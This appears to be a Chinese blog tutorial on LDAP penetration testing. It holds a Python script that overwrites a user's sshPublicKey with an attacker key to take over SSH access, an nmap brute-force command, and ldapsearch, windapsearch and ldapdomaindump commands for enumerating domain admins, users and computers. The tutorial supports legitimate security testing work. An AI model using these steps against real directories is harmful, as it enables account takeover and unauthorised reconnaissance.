当前位置: 首页 > news >正文

LDAP渗透测试

LDAP渗透测试

  • 1.LDAP协议概述
  • 2.LDAP写公钥
  • 3.暴力破解LDAP
  • 4.LDAP信息收集
    • ldapdomaindump
    • windapsearch工具
    • ldapsearch

1.LDAP协议概述

LDAP(Lightweight Directory Access Protocol,轻量目录访问协议)是一种访问和管理目录服务的应用层协议,常用于存储和查询用户、组织、设备等信息

LDAP 就像一个电话簿系统,你可以通过它来查询”某个用户的邮箱”、“某个部门下有哪些员工”等等。而这个电话簿不是存在一个文件里,而是以结构化方式存储在服务器中,并可以被程序调用和管理

默认端口: 389636(ldaps)。全局目录(ActiveDirectory 中的 LDAP)默认在端口 3268 上可用,LDAPS 默认在端口 3269 上可用


2.LDAP写公钥

如果发现 LDAP 中的用户条目包含 sshPublicKey 属性,且当前用户对这个属性具有写权限,那么你就可能直接远程登录该用户的系统账号(通过 SSH 公钥)

利用脚本:

from ldap3 import Server, Connection, MODIFY_REPLACE

server = Server('x.x.x.x', port=636, use_ssl=True)
conn = Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)

# 查看身份
print(conn.extend.standard.who_am_i())

# 替换 sshPublicKey 属性值
conn.modify(
    'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
    {
        'sshPublicKey': [(MODIFY_REPLACE, ['ssh-rsa AAAAB3... badguy@evil'])]
    }
)

3.暴力破解LDAP

可以使用 nmap 插件:

nmap --script ldap-brute -p 389 <IP>

4.LDAP信息收集

ldapdomaindump

如果您具有登录 LDAP 服务器的有效凭据,则可以使用以下命令转储有关域管理员的所有信息:

pip3 install ldapdomaindump
ldapdomaindump <IP> \
  -u '<domain>\<username>' \
  -p '<password>' \
  --no-json \
  --no-grep \
  [-o /path/dir]

windapsearch工具

可以直接使用工具进行利用:windapsearch

一个 Python 脚本,可用于利用 LDAP 查询从 Windows 域中枚举用户、组和计算机

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

1、检查空凭证或有账密的凭证是否有效

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

如果密码不对,会有如下报错信息:

# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839

2、从域中提取所有内容

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

3、提取用户

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

4、提取计算机

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

5、提取我的信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

6、提取域管理员信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

7、提取域用户信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

8、提取企业管理员信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

9、提取管理员信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

10、提取远程桌面组信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

相关文章:

  • java 线程池:IO密集型的任务(CPU核数 * 2 + 1),为什么这么设置,计算密集型任务( CPU核数+1 ),为什么这么设置
  • 火车头采集动态加载Ajax数据(无分页瀑布流网站)
  • Python numpy 与pandas
  • Apache Commons CLI 入门教程:轻松解析命令行参数
  • 运维面试题(十三)
  • linux一次启动多个jar包
  • 一键解锁Landsat 9地表温度计算!ENVI与ArcGIS Pro全流程详解(无需NASA大气校正)
  • 解决前端使用Axios时的跨域问题
  • 《MySQL从入门到精通》
  • 【数据集】上市公司投资效率及非效率投资数据测算+dofile(2000-2023年)
  • 深入理解计算机系统记录
  • README.md 完全指南:Markdown 语法+实例
  • 消息中间件kafka,rabbitMQ
  • MQTT、HTTP短轮询、HTTP长轮询、WebSocket
  • OBOO鸥柏如何以智能教育室内外触摸屏一体机AI变革硬件
  • 在Spring Boot中浅尝内存泄漏
  • C++多态知识点梳理
  • Java笔记5——面向对象(下)
  • 如何在Windows 10系统中查看已连接WiFi密码-亲测可用-优雅草卓伊凡
  • 使WebSocket 稳定可靠,需要考虑的方向
  • 220名“特朗普币”持有者花1.48亿美元,获邀与特朗普共进晚餐
  • 俄土外长通话讨论俄乌谈判问题
  • 支持企业增强战略敏捷更好发展,上海市领导密集走访外贸外资企业
  • 最美西游、三星堆遗址等入选“2025十大年度IP”
  • 甩掉“肥胖刺客”,科学减重指南来了
  • 何谓“战略稳定”:“长和平”的实现基础与机制